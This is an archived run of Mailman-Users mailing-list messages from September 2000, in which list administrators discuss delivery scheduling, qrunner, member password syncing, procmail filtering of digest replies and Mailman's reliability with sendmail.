> Any ideas will be greatly appreciated,
> Joe
>
>
>
> --__--__--
>
> Message: 10
> Date: Mon, 18 Sep 2000 15:56:04 +0100
> From: Nathalie Ducaud <nathalie.ducaud at i-dmedia.com>
> Organization: I-D Media Ltd.
> To: mailman-users at python.org
> Subject: [Mailman-Users] PHP WML
>
> How do you combine PHP3 and WML ?
>
>
>
> --__--__--
>
> Message: 11
> From: "alex wetmore" <alex at phred.org>
> To: "Brian D. Beers" <bdbeers at digiscents.com>,
> 	<mailman-users at python.org>
> Subject: Re: [Mailman-Users] Footers not appearing in messages.
> Date: Mon, 18 Sep 2000 07:35:19 -0700
>
> Are you sending messages that are HTML formatted (or otherwise use
> MIME)?  The footer gets tacked on past the end of the MIME portion of
> the message, and won't be shown by most email clients.
>
> On my list I use a tool (http://www.phred.org/~alex/stripmime.pl) to
> remove all MIME from my list messages.  Most importantly this insures
> that everyone can properly read the messages and that the archives are
> not polluted with MIME/HTML.  Secondarily this insures that every
> message has the footer.
>
> alex
>
> ----- Original Message -----
> From: "Brian D. Beers" <bdbeers at digiscents.com>
> To: <mailman-users at python.org>
> Sent: Friday, September 15, 2000 9:55 PM
> Subject: [Mailman-Users] Footers not appearing in messages.
>
>
> > The footer (like below) is not appearing in the messages. Does anyone
> know
> > why?  I have not changed the default footer at all.  Does one of the
> > management choices disable the footer?
> >
> > > ------------------------------------------------------
> > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > http://www.python.org/mailman/listinfo/mailman-users
> >
> >
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> >
>
>
>
>
> --__--__--
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>
>
> End of Mailman-Users Digest
>



From GLeblanc at cu-portland.edu  Mon Sep 18 20:44:50 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Mon, 18 Sep 2000 11:44:50 -0700
Subject: [Mailman-Users] config_list question?
Message-ID: <025836EFF856D411A6660090272811E61D0735@EMAIL>

I'm hacking around with mailman to get some "announce" lists up and running
on it.  Right now, I've got 1 list configured just the way that I want it.
I've done a 'config_list -o config listname' to get a dump of all of the
options for that list.  I want to create a "template" from this config.  Can
I just strip out all of the garbage (like comments) and the config options
that I don't want to set, and use that with a command like 'config_list -i
new_config newlist'?  Any thoughts?  Thanks,
	Greg


From gerhard at jason.nl  Mon Sep 18 20:56:39 2000
From: gerhard at jason.nl (Gerhard den Hollander)
Date: Mon, 18 Sep 2000 20:56:39 +0200
Subject: [Mailman-Users] Re: Editing the posting
In-Reply-To: <MFEHJMLCCICAAHLGFNAAGEIGCBAA.tneff@bigfoot.com>; from tneff@bigfoot.com on Mon, Sep 18, 2000 at 02:25:04PM -0400
References: <20000918160146.7AB871D059@dinsdale.python.org> <MFEHJMLCCICAAHLGFNAAGEIGCBAA.tneff@bigfoot.com>
Message-ID: <20000918205639.H4343@zeus.jason.nl>

Apologies is this is a duplicate ,
I didn't receive a confirmation that this one made it to the list 
(and yes, I did turn the confirmation on ;) )

Situation:

I maintain (with mailman) a number (20-ish going to be 100-ish)
mailinglists for our internal users.

When I create a new mailinglist I usually add a number of users

This means that these users get yet another default mailman passwd.

What I want is to synchronise all user:passwd combinations over all the
lists.

e.g. currently I have

List 1  (user:passwd)
        A:asdf
        B:sdfg
        C:dfgh

List 2
        A:erty
        C:rtyu
        D:ytur

List 3
        A:lkjh
        D:moiu

What I want is someway to get this to be

List 1  (user:passwd)
        A:asdf
        B:sdfg
        C:dfgh

List 2
        A:asdf
        C:dfgh
        D:ytur

List 3
        A:asdf
        D:ytur


Unfortunately I have 0 experience in programming python.
I looked through the clone_member program in the bin directory and it
looks like what I want is indeed possible provided I know enough python.

If some kind soul could give me 2 scripts
1 : that lists (given a mailinglist) all users and passwords
and
2 : that given a mailinglist, and a list of username/passwords
        sets the password for the listed user to be the one listed in that
        file.

than I would already be fuly helped.

Of course, ideally someone else has already bumped into this problem and
solved it the python way, in which case I'd be very grateful for this
program.

Thanks in advance 

(and I guess this goes whitout saying on this list,
 but apart from the above, Im pretty impressed with mailman)

Kind regards,
 --
Gerhard den Hollander                           Phone +31-10.280.1515
Technical Support Jason Geosystems BV           Fax   +31-10.280.1511
	                           (When calling please note: we are in GMT+1)
gdenhollander at jasongeo.com                          POBox 1573
visit us at http://www.jasongeo.com                 3000 BN Rotterdam  
"TeamWare" for finding Oil & Gas...The Smart Way    The Netherlands

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From stootles at linuxfreak.com  Tue Sep 19 02:14:05 2000
From: stootles at linuxfreak.com (Stewart James -Stootles-)
Date: Tue, 19 Sep 2000 11:14:05 +1100 (EST)
Subject: [Mailman-Users] Postponing delivery.
Message-ID: <Pine.LNX.4.21.0009191105490.22698-100000@cerberus.its.vu.edu.au>

Greets,

I have a small problem with a mailling list that I would like to get
switched over to use mailman.

It's a "all-users" mailist for about 3000 people. The address' will come
from LDAP and I will make use of the sync_members utility to keep the
members list up to date.

Here's where I have not been able to find an answer. Members will only be
subscribed as regular members. Digest will not be an option, But I only
want the message to be delivered once a day(6 p.m.). 

As far as I can see there is no _obvious_ option to enable such controlled
delivery in mailman. Is there, is there some way to do this. Is there
anyone I can _beg_ to get something like this added? I do not know python
at all.

Thanks for any help any one offers,

Cheers,

Stewart :)



From Dan.Mick at West.Sun.COM  Tue Sep 19 02:23:59 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Mon, 18 Sep 2000 17:23:59 -0700 (PDT)
Subject: [Mailman-Users] Postponing delivery.
Message-ID: <200009190022.RAA29607@utopia.west.sun.com>

Actually, you could easily do that, since messages aren't delivered
except by qrunner; just set up qrunner to run once a day.

> Greets,
> 
> I have a small problem with a mailling list that I would like to get
> switched over to use mailman.
> 
> It's a "all-users" mailist for about 3000 people. The address' will come
> from LDAP and I will make use of the sync_members utility to keep the
> members list up to date.
> 
> Here's where I have not been able to find an answer. Members will only be
> subscribed as regular members. Digest will not be an option, But I only
> want the message to be delivered once a day(6 p.m.). 
> 
> As far as I can see there is no _obvious_ option to enable such controlled
> delivery in mailman. Is there, is there some way to do this. Is there
> anyone I can _beg_ to get something like this added? I do not know python
> at all.
> 
> Thanks for any help any one offers,
> 
> Cheers,
> 
> Stewart :)



From godoy at conectiva.com  Tue Sep 19 02:38:26 2000
From: godoy at conectiva.com (Jorge Godoy)
Date: 18 Sep 2000 21:38:26 -0300
Subject: [Mailman-Users] Postponing delivery.
In-Reply-To: Dan Mick's message of "Mon, 18 Sep 2000 17:23:59 -0700 (PDT)"
References: <200009190022.RAA29607@utopia.west.sun.com>
Message-ID: <kp3dixnrlp.fsf@dagon.casa>

>>>>> On Mon, 18 Sep 2000 17:23:59 -0700 (PDT), Dan Mick <Dan.Mick at West.Sun.COM> said:

    DM> Actually, you could easily do that, since messages aren't delivered
    DM> except by qrunner; just set up qrunner to run once a day.

I was interested on the opposite situation... So I presume that if I
want to run the queue immediately after the message arrives I have to
call qrunner somewhere, right? The cron job does call it once every
minute. Where can I put a call to qrunner to have it sending messages
as soon as they arrive?


Thanks!
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From stootles at linuxfreak.com  Tue Sep 19 03:06:29 2000
From: stootles at linuxfreak.com (Stewart James -Stootles-)
Date: Tue, 19 Sep 2000 12:06:29 +1100 (EST)
Subject: [Mailman-Users] Postponing delivery.
In-Reply-To: <200009190022.RAA29607@utopia.west.sun.com>
Message-ID: <Pine.LNX.4.21.0009191155440.22722-100000@cerberus.its.vu.edu.au>

That would nearly work. Except the list box would have other "normal"(if
there is such a thing) lists on it. Running qrunner like that would mean
that all lists would have postponed sending.

It would be nice to be able to do such things on a per list basis.

Cheers,

Stewart

On Mon, 18 Sep 2000, Dan Mick wrote:

> Actually, you could easily do that, since messages aren't delivered
> except by qrunner; just set up qrunner to run once a day.
> 
> > Greets,
> > 
> > I have a small problem with a mailling list that I would like to get
> > switched over to use mailman.
> > 
> > It's a "all-users" mailist for about 3000 people. The address' will come
> > from LDAP and I will make use of the sync_members utility to keep the
> > members list up to date.
> > 
> > Here's where I have not been able to find an answer. Members will only be
> > subscribed as regular members. Digest will not be an option, But I only
> > want the message to be delivered once a day(6 p.m.). 
> > 
> > As far as I can see there is no _obvious_ option to enable such controlled
> > delivery in mailman. Is there, is there some way to do this. Is there
> > anyone I can _beg_ to get something like this added? I do not know python
> > at all.
> > 
> > Thanks for any help any one offers,
> > 
> > Cheers,
> > 
> > Stewart :)
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From intra at mirage.it.net.au  Tue Sep 19 04:15:32 2000
From: intra at mirage.it.net.au (Peter)
Date: Tue, 19 Sep 2000 10:15:32 +0800 (WST)
Subject: [Mailman-Users] add_members error
Message-ID: <Pine.LNX.4.21.0009191006330.30664-100000@mirage.it.net.au>

Hi,

Im currently converting over some list from majordomo
and wished to add back the digested people from the 
majordomo file.

It came back witht he following error

cygnus:/var/lib/majordomo/lists# /usr/sbin/add_members -d ausrace-digest
ausrace
Traceback (innermost last):
  File "/usr/sbin/add_members", line 221, in ?
    main()
  File "/usr/sbin/add_members", line 170, in main
    ml = MailList.MailList(listname)
  File "/usr/lib/mailman/Mailman/MailList.py", line 75, in __init__
    self.Lock()
  File "/usr/lib/mailman/Mailman/MailList.py", line 1322, in Lock
    self.__lock.lock(timeout)
  File "/usr/lib/mailman/Mailman/LockFile.py", line 282, in lock
    self.__sleep()
  File "/usr/lib/mailman/Mailman/LockFile.py", line 412, in __sleep
    time.sleep(interval)
KeyboardInterrupt
cygnus:/var/lib/majordomo/lists# 

I interrupted it becuase it has been running for the past 1hr 
with no results.. would anyone know the problems?

Would anyone also have the format in which digest_arch
works?

im assuming its "digest_arch <file> <mailinglist>"

cygnus:/var/lib/majordomo/lists# digest_arch 
Traceback (innermost last):
  File "/usr/sbin/digest_arch", line 123, in ?
    digest_dir = sys.argv[1]
IndexError: list index out of range






From ymcaa at yahoo.com  Tue Sep 19 04:52:44 2000
From: ymcaa at yahoo.com (ymca acmy)
Date: Mon, 18 Sep 2000 19:52:44 -0700 (PDT)
Subject: [Mailman-Users] (no subject)
Message-ID: <20000919025244.3308.qmail@web1404.mail.yahoo.com>

confirmed 691721

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From cdhathor at gsbmba2.uchicago.edu  Tue Sep 19 04:54:14 2000
From: cdhathor at gsbmba2.uchicago.edu (Davey Hathorn)
Date: Mon, 18 Sep 2000 21:54:14 -0500 (CDT)
Subject: [Mailman-Users] Re: Mailman-Users digest, Vol 1 #760 - 11 msgs
Message-ID: <200009190254.VAA23750@gsbmba2.uchicago.edu>

 
This is an automated response.  I will be out of the office 
on the following days:
 
Jan 1 through Jan 2
 
Your message regarding "Mailman-Users digest, Vol 1 #760 - 11 msgs" will be read upon my return.  
 


From ymcaa at yahoo.com  Tue Sep 19 04:55:21 2000
From: ymcaa at yahoo.com (ymca acmy)
Date: Mon, 18 Sep 2000 19:55:21 -0700 (PDT)
Subject: [Mailman-Users] let you know i have my message
Message-ID: <20000919025521.3530.qmail@web1404.mail.yahoo.com>

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From chuqui at plaidworks.com  Tue Sep 19 06:07:31 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Mon, 18 Sep 2000 21:07:31 -0700
Subject: [Mailman-Users] Re: Mailman-Users digest, Vol 1 #760 - 11 msgs
In-Reply-To: <200009190254.VAA23750@gsbmba2.uchicago.edu>
References: <200009190254.VAA23750@gsbmba2.uchicago.edu>
Message-ID: <p04330100b5ec96d6117d@[17.216.27.251]>

At 9:54 PM -0500 9/18/00, Davey Hathorn wrote:
>
>This is an automated response.  I will be out of the office
>on the following days:

This is a great example of why mailman ought to either send messages 
to the moderator for approval, or auto-reject them, if they are 
replies to the digest with the digest subject unchanged.

Barry, consider this an RFE... (grin)

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From gerhard at jason.nl  Tue Sep 19 08:35:04 2000
From: gerhard at jason.nl (Gerhard den Hollander)
Date: Tue, 19 Sep 2000 08:35:04 +0200
Subject: [Mailman-Users] Postponing delivery.
In-Reply-To: <Pine.LNX.4.21.0009191105490.22698-100000@cerberus.its.vu.edu.au>; from stootles@linuxfreak.com on Tue, Sep 19, 2000 at 11:14:05AM +1100
References: <Pine.LNX.4.21.0009191105490.22698-100000@cerberus.its.vu.edu.au>
Message-ID: <20000919083503.Q4343@zeus.jason.nl>

* Stewart James -Stootles- <stootles at linuxfreak.com> (Tue, Sep 19, 2000 at 11:14:05AM +1100)

> Here's where I have not been able to find an answer. Members will only be
> subscribed as regular members. Digest will not be an option, But I only
> want the message to be delivered once a day(6 p.m.). 

There is a hack ..
Change the email adress of the list
Have the original email adress of the list point to a normal mailbox
run a cronjob at 6 pm that moves all mail from that mailbox to the new
listadress.



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From Dan.Mick at west.sun.com  Tue Sep 19 08:56:41 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Mon, 18 Sep 2000 23:56:41 -0700 (PDT)
Subject: [Mailman-Users] Postponing delivery.
Message-ID: <200009190655.XAA06201@utopia.west.sun.com>

=
> >>>>> On Mon, 18 Sep 2000 17:23:59 -0700 (PDT), Dan Mick 
<Dan.Mick at West.Sun.COM> said:
> 
>     DM> Actually, you could easily do that, since messages aren't delivered
>     DM> except by qrunner; just set up qrunner to run once a day.
> 
> I was interested on the opposite situation... So I presume that if I
> want to run the queue immediately after the message arrives I have to
> call qrunner somewhere, right? The cron job does call it once every
> minute. Where can I put a call to qrunner to have it sending messages
> as soon as they arrive?

I've never tried it, but I suppose you could replace the call to 
"post" from the sendmail aliases file to a script which first calls
"post" and then calls "python ~mailman/cron/qrunner" (with the 
appropriate expansions).

I suppose also it might be possible to hook that right into
the post script itself.



From Dan.Mick at west.sun.com  Tue Sep 19 08:57:43 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Mon, 18 Sep 2000 23:57:43 -0700 (PDT)
Subject: [Mailman-Users] Postponing delivery.
Message-ID: <200009190656.XAA06299@utopia.west.sun.com>

I guess you could hack qrunner to check the list name and exit early
if 1) it's that list, and 2) it's not the right time.

> That would nearly work. Except the list box would have other "normal"(if
> there is such a thing) lists on it. Running qrunner like that would mean
> that all lists would have postponed sending.
> 
> It would be nice to be able to do such things on a per list basis.
> 
> Cheers,
> 
> Stewart
> 
> On Mon, 18 Sep 2000, Dan Mick wrote:
> 
> > Actually, you could easily do that, since messages aren't delivered
> > except by qrunner; just set up qrunner to run once a day.
> > 
> > > Greets,
> > > 
> > > I have a small problem with a mailling list that I would like to get
> > > switched over to use mailman.
> > > 
> > > It's a "all-users" mailist for about 3000 people. The address' will come
> > > from LDAP and I will make use of the sync_members utility to keep the
> > > members list up to date.
> > > 
> > > Here's where I have not been able to find an answer. Members will only be
> > > subscribed as regular members. Digest will not be an option, But I only
> > > want the message to be delivered once a day(6 p.m.). 
> > > 
> > > As far as I can see there is no _obvious_ option to enable such controlled
> > > delivery in mailman. Is there, is there some way to do this. Is there
> > > anyone I can _beg_ to get something like this added? I do not know python
> > > at all.
> > > 
> > > Thanks for any help any one offers,
> > > 
> > > Cheers,
> > > 
> > > Stewart :)
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> > 
> 




From gerhard at jason.nl  Tue Sep 19 08:48:55 2000
From: gerhard at jason.nl (Gerhard den Hollander)
Date: Tue, 19 Sep 2000 08:48:55 +0200
Subject: [Mailman-Users] Syncing passwords over mailinglists
Message-ID: <20000919084855.B9189@zeus.jason.nl>

> Apologies is this is a duplicate ,
> I didn't receive a confirmation that this one made it to the list 
> (and yes, I did turn the confirmation on ;) )

> Situation:

> I maintain (with mailman) a number (20-ish going to be 100-ish)
> mailinglists for our internal users.

> When I create a new mailinglist I usually add a number of users

> This means that these users get yet another default mailman passwd.

> What I want is to synchronise all user:passwd combinations over all the
> lists.

> e.g. currently I have

> List 1  (user:passwd)
>         A:asdf
>         B:sdfg
>         C:dfgh

> List 2
>         A:erty
>         C:rtyu
>         D:ytur

> List 3
>         A:lkjh
>         D:moiu

> What I want is someway to get this to be

> List 1  (user:passwd)
>         A:asdf
>         B:sdfg
>         C:dfgh

> List 2
>         A:asdf
>         C:dfgh
>         D:ytur

> List 3
>         A:asdf
>         D:ytur
> 

> Unfortunately I have 0 experience in programming python.
> I looked through the clone_member program in the bin directory and it
> looks like what I want is indeed possible provided I know enough python.

> If some kind soul could give me 2 scripts
> 1 : that lists (given a mailinglist) all users and passwords
> and
> 2 : that given a mailinglist, and a list of username/passwords
>         sets the password for the listed user to be the one listed in that
>         file.

> than I would already be fuly helped.

> Of course, ideally someone else has already bumped into this problem and
> solved it the python way, in which case I'd be very grateful for this
> program.

> Thanks in advance 

> (and I guess this goes whitout saying on this list,
>  but apart from the above, Im pretty impressed with mailman)


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From Dan.Mick at West.Sun.COM  Tue Sep 19 09:05:09 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 19 Sep 2000 00:05:09 -0700 (PDT)
Subject: [Mailman-Users] Re: [Mailman-Developers] Syncing passwords over mailinglists
Message-ID: <200009190704.AAA06635@utopia.west.sun.com>

Please don't crosspost to mailman-users and mailman-developers.

> > If some kind soul could give me 2 scripts
> > 1 : that lists (given a mailinglist) all users and passwords

Here's #1, written as an addon to bin/withlist.  Put it in bin, named
pws.py, and run it like so:

bin/withlist pws.pws <listname>

---
import sys

fmt = "%-40s\t%s"
def pws(list):

   for member in list.members.keys():
      print fmt % (member, list.passwords[member])

   for member in list.digest_members.keys():
      print fmt % (member, list.passwords[member])

   sys.exit(0)
---

> > and
> > 2 : that given a mailinglist, and a list of username/passwords
> >         sets the password for the listed user to be the one listed in that
> >         file.



From zvrba at iskon.hr  Tue Sep 19 09:08:14 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Tue, 19 Sep 2000 09:08:14 +0200
Subject: [Mailman-Users] Postponing delivery.
In-Reply-To: <Pine.LNX.4.21.0009191105490.22698-100000@cerberus.its.vu.edu.au>; from stootles@linuxfreak.com on Tue, Sep 19, 2000 at 11:14:05AM +1100
References: <Pine.LNX.4.21.0009191105490.22698-100000@cerberus.its.vu.edu.au>
Message-ID: <20000919090814.A5136@iskon.hr>

On Tue, Sep 19, 2000 at 11:14:05AM +1100, Stewart James -Stootles- wrote:
> 
> Greets,
> 
> I have a small problem with a mailling list that I would like to get
> switched over to use mailman.
> 

My sincere advice: DON'T switch to Mailman. It is beta, and it is unusable
for production: it can't handle lists with < 100 addresses. They are trying
to implement their own queuing instead on relying on MTA. The MTA interface
is buggy. The net result are late messages (delayed by several hours), 
duplicate messages, tons of errors in sendmail logs etc.

Now the most of my (and other sysadmins') time (what could be productive) is
spent checking whether mailman works, has blocked,
manually removing messages from its queue etc. We are seriously considering
switching back to Majordomo. Maybe it doesn't have nice Web interface, but
it _never_ has made such problems as Mailman.

Most answers I get from this mailing list are of the style `sendmail
misconfiguration'. Except that sendmail works with >30000 users, never
makes any problems and all users regularly get their mail. And it has worked
OK with Majordomo in its current configuration.




From harshama at india.hp.com  Tue Sep 19 09:27:18 2000
From: harshama at india.hp.com (harshama)
Date: Tue, 19 Sep 2000 12:57:18 +0530
Subject: [Mailman-Users] [Fwd: Installation and configuration of mailman]
Message-ID: <39C71556.534CB5D5@india.hp.com>


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From chuqui at plaidworks.com  Tue Sep 19 09:31:49 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 19 Sep 2000 00:31:49 -0700
Subject: [Mailman-Users] Re: Mailman-Users digest, Vol 1 #760 - 11
 msgs
In-Reply-To: <200009190729.e8J7T1p15611@lorien.mallorn.com>
References: <200009190729.e8J7T1p15611@lorien.mallorn.com>
Message-ID: <p04330100b5ecc6714092@[209.239.169.197]>

At 2:29 AM -0500 9/19/00, Christopher P. Lindsey wrote:
>You could always wrap your lists with procmail or some other type of
>filter

I do that now. I've done that for years -- but it completely 
disconnects the action from the admin web pages mailman has. Rather 
than weld bags on the side of the server, this stuff ought to be 
integrated into the server, so it can be managed from the admin pages 
the way all of the other stuff is.

Building filters around the MLM is stuff I've done for years. it's 
got its advantages, but it means there are zillions of details to 
keep track of, and places to tweak. And it's hard-to-impossible to 
give end-users a consistent interface, and 
impossible-to-very-impossible to do it for the admins.

It's a great way to do quick hacks. It's a horrible way to build 
sustainable list managers.

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From gerhard at jason.nl  Tue Sep 19 09:42:33 2000
From: gerhard at jason.nl (Gerhard den Hollander)
Date: Tue, 19 Sep 2000 09:42:33 +0200
Subject: [Mailman-Users] [Fwd: Installation and configuration of mailman]
In-Reply-To: <39C71556.534CB5D5@india.hp.com>; from harshama@india.hp.com on Tue, Sep 19, 2000 at 12:57:18PM +0530
References: <39C71556.534CB5D5@india.hp.com>
Message-ID: <20000919094232.I9189@zeus.jason.nl>

* harshama <harshama at india.hp.com> (Tue, Sep 19, 2000 at 12:57:18PM +0530)
> 

> I am Harsha from Hewlett Packard - ISO Bangalore, India.

> We are trying to configure Mailman on one of our server(HP-UX10.20).
> But unfortunately we have struck with compiling the source and we are
> not able to proceed. We got the source from www.list.org. Python.1.5.2
> has been installed properly.

Could you give some mroe details of what's wrong.
Are you able to compile and install Mailman ?

Im using 2.0b5, and that comes with clear and easy to follow instructions
on how to install mailman.


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From lindsey at mallorn.com  Tue Sep 19 09:58:08 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Tue, 19 Sep 2000 02:58:08 -0500
Subject: [Mailman-Users] Re: Mailman-Users digest, Vol 1 #760 - 11 msgs
In-Reply-To: <p04330100b5ecc6714092@[209.239.169.197]>; from chuqui@plaidworks.com on Tue, Sep 19, 2000 at 12:31:49AM -0700
References: <200009190729.e8J7T1p15611@lorien.mallorn.com> <p04330100b5ecc6714092@[209.239.169.197]>
Message-ID: <20000919025808.E11271@mallorn.com>

> I do that now. I've done that for years -- but it completely 
> disconnects the action from the admin web pages mailman has. Rather 
> than weld bags on the side of the server, this stuff ought to be 
> integrated into the server, so it can be managed from the admin pages 
> the way all of the other stuff is.

I still disagree to an extent.  The problem that I have with Mailman is
its lack of flexibility in the Web-based admin pages.  If we're really
going to do it right, there should be an API for the Web interface that
allows options to be added or removed on a per list basis with configurable
external actions.

If this was embedded in Mailman, you could even control your procmail/perl/
python filters via the Mailman Web interface (yes, it could be designed
securely).

But I don't want to get into a vi/emacs war...  :)

Chris


From lindsey at mallorn.com  Tue Sep 19 09:29:01 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Tue, 19 Sep 2000 02:29:01 -0500 (CDT)
Subject: [Mailman-Users] Re: Mailman-Users digest, Vol 1 #760 - 11 msgs
In-Reply-To: <p04330100b5ec96d6117d@[17.216.27.251]> from "Chuq Von Rospach" at Sep 18, 2000 09:07:31 PM
Message-ID: <200009190729.e8J7T1p15611@lorien.mallorn.com>

> This is a great example of why mailman ought to either send messages 
> to the moderator for approval, or auto-reject them, if they are 
> replies to the digest with the digest subject unchanged.

You could always wrap your lists with procmail or some other type of
filter (personally, I prefer this option -- I feel that it's the UNIX
way to use other tools to bolster the performance of programs...  That's
what pipes are for, right?  ;)  (of course, the emacs people would 
probably disagree :)

   http://www.python.org/pipermail/mailman-users/1999-February/000617.html

Although this doesn't make use of the Web interface, you could use 
the 'mailowner' command with wrapper to just send the email to 
listname-admin.  Once you get it, you could change the subject and
pipe it off to sendmail with -f set to the original sender's envelope
from header.

   # set to your mailman install dir
   PREFIX = /home/staff/mailman

   :0 
   * ^Subject: Mailman-users digest, Vol [0-9]+ #[0-9]+ - [0-9]+ msgs
   | $PREFIX/mail/wrapper mailowner Mailman-users

Or more generally (note, this is untested):

   # pull the name of the list into $MATCH, then call as arg to wrapper
   :0 
   * ^Subject:[ ]+\/[^ ]+ digest, Vol [0-9]+ #[0-9]+ - [0-9]+ msgs
   {
      SUBJECT = $MATCH
      :0
      * SUBJECT ?? ^()\/[^ ]+
      | $PREFIX/mail/wrapper mailowner $MATCH
   }

Ultimately, I'd like to see wrapper take an argument 'webadmin' that
sticks the message into the Web-based admindb holding area.  Adding
that functionality to wrapper is easy enough, but I haven't looked
at the Python internals for this yet...

Chris


From chuqui at plaidworks.com  Tue Sep 19 10:18:35 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 19 Sep 2000 01:18:35 -0700
Subject: [Mailman-Users] Re: Mailman-Users digest, Vol 1 #760 - 11
 msgs
In-Reply-To: <20000919025808.E11271@mallorn.com>
References: <200009190729.e8J7T1p15611@lorien.mallorn.com>
 <p04330100b5ecc6714092@[209.239.169.197]>
 <20000919025808.E11271@mallorn.com>
Message-ID: <p0433010bb5ecd197dd74@[209.239.169.197]>

At 2:58 AM -0500 9/19/00, Christopher P. Lindsey wrote:

>I still disagree to an extent.  The problem that I have with Mailman is
>its lack of flexibility in the Web-based admin pages.  If we're really
>going to do it right, there should be an API for the Web interface that
>allows options to be added or removed on a per list basis with configurable
>external actions.

agreed. And we're much better off putting the time into fixing the 
admin pages to support this stuff than building completely separate 
interfaces to do it instead. The amount of work to do it right won't 
be that much different.

>
>But I don't want to get into a vi/emacs war...  :)

vi, you emacs loving scum!

-- 
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From Nigel.Metheringham at VData.co.uk  Tue Sep 19 10:32:12 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Tue, 19 Sep 2000 09:32:12 +0100
Subject: [Mailman-Users] Postponing delivery. 
In-Reply-To: Message from Zeljko Vrba <zvrba@iskon.hr> 
   of "Tue, 19 Sep 2000 09:08:14 +0200." <20000919090814.A5136@iskon.hr>
Message-ID: <E13bIp2-00032o-00@rioja.localnet>

zvrba at iskon.hr said:
> My sincere advice: DON'T switch to Mailman. It is beta, and it is
> unusable for production: it can't handle lists with < 100 addresses.
> They are trying to implement their own queuing instead on relying on
> MTA. The MTA interface is buggy. The net result are late messages
> (delayed by several hours),  duplicate messages, tons of errors in
> sendmail logs etc. 

Your previous messages have shown you are using programmatic invocation 
of sendmail rather than SMTP injection.  I would call this 
configuration "courageous"... and it certainly will be heavier on 
resource usage than SMTP injection.   Other of your problems on the 
list certainly appear to be sendmail misconfiguration or misinvocation.

As for your other points... Mailman is technically beta, however many 
people are using it very successfully in production environments for 
both large and small lists.

Any MLM needs some form of buffering against the MTA, since otherwise 
there is no way to take the MTA out of operational mode (ie on 
shutdown) without the risk of lost messages.

The Sendmail method of invocation does appear to have problems... in 
general concept as well as implementation.   Personally I would be 
happy to see it withdrawn other than as sample code for writing an MTA 
specific injector.

	Nigel.
-- 
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[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]




From zvrba at iskon.hr  Tue Sep 19 11:30:20 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Tue, 19 Sep 2000 11:30:20 +0200
Subject: [Mailman-Users] Postponing delivery.
In-Reply-To: <E13bIp2-00032o-00@rioja.localnet>; from Nigel.Metheringham@vdata.co.uk on Tue, Sep 19, 2000 at 09:32:12AM +0100
References: <zvrba@iskon.hr> <E13bIp2-00032o-00@rioja.localnet>
Message-ID: <20000919113020.A8715@iskon.hr>

On Tue, Sep 19, 2000 at 09:32:12AM +0100, Nigel Metheringham wrote:
> 
> Your previous messages have shown you are using programmatic invocation 
> of sendmail rather than SMTP injection.  I would call this 
> configuration "courageous"... and it certainly will be heavier on 
> resource usage than SMTP injection.   Other of your problems on the 
> list certainly appear to be sendmail misconfiguration or misinvocation.
> 
I switched to sendmail from SMTP injection because of long delays I've
described before. For the sake of the argument, please create a test list
and subscribe to it e.g. 100 users from a domain for which the DNS is
broken (can't be contacted). And see what happens. How long it takes qrunner
to run. How all other messages will be delayed by 100*(connect timeout)
minutes etc...

And I can't lower the limit on timeouts because there are really broken
domains here in Croatia for which connect() delays are > 1 min. Not to
mention that we serve some lists with people from Uzbekistan etc...
Reconfiguring the
sendmail to lower timeouts is out of the question. There is an option
to skip initial DNS query, but it had no effect.

Anyway... conclusion is that mailman is good for ideal conditions: high speed
networks with servers and DNS's always up and running... It seems that none
of you has tried running Mailman to serve people on several broken or
misconfigured networks which are down for several months etc..



From albie at alfarrabio.um.geira.pt  Tue Sep 19 11:39:54 2000
From: albie at alfarrabio.um.geira.pt (Alberto Manuel Brandao Simoes)
Date: Tue, 19 Sep 2000 10:39:54 +0100
Subject: [Mailman-Users] Stupid bug?
In-Reply-To: <20000915103727.A549@alfarrabio.um.geira.pt>
References: <20000915103727.A549@alfarrabio.um.geira.pt>
Message-ID: <20000919103954.A21429@alfarrabio.um.geira.pt>

 
 
 	Hello!

	I've found some strange bug in the newlist command... if the
owner email is too big, it does not warn the owner with the normal
mail...

	With: albie at alfarrabio.um.geira.pt 
	it does'nt work
	With: jj at eremita.di.uminho.pt
	it works!!
 
 		Alberto
 
-- 
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 albie at alfarrabio.um.geira.pt                     /--\||_)((/_
 http://numexp.sourceforge.net


From cdhathor at gsbmba2.uchicago.edu  Tue Sep 19 11:49:06 2000
From: cdhathor at gsbmba2.uchicago.edu (Davey Hathorn)
Date: Tue, 19 Sep 2000 04:49:06 -0500 (CDT)
Subject: [Mailman-Users] Re: Mailman-Users digest, Vol 1 #761 - 19 msgs
Message-ID: <200009190949.EAA27301@gsbmba2.uchicago.edu>

 
This is an automated response.  I will be out of the office 
on the following days:
 
Jan 1 through Jan 2
 
Your message regarding "Mailman-Users digest, Vol 1 #761 - 19 msgs" will be read upon my return.  
 


From Nigel.Metheringham at VData.co.uk  Tue Sep 19 11:57:21 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Tue, 19 Sep 2000 10:57:21 +0100
Subject: [Mailman-Users] Postponing delivery. 
In-Reply-To: Message from Zeljko Vrba <zvrba@iskon.hr> 
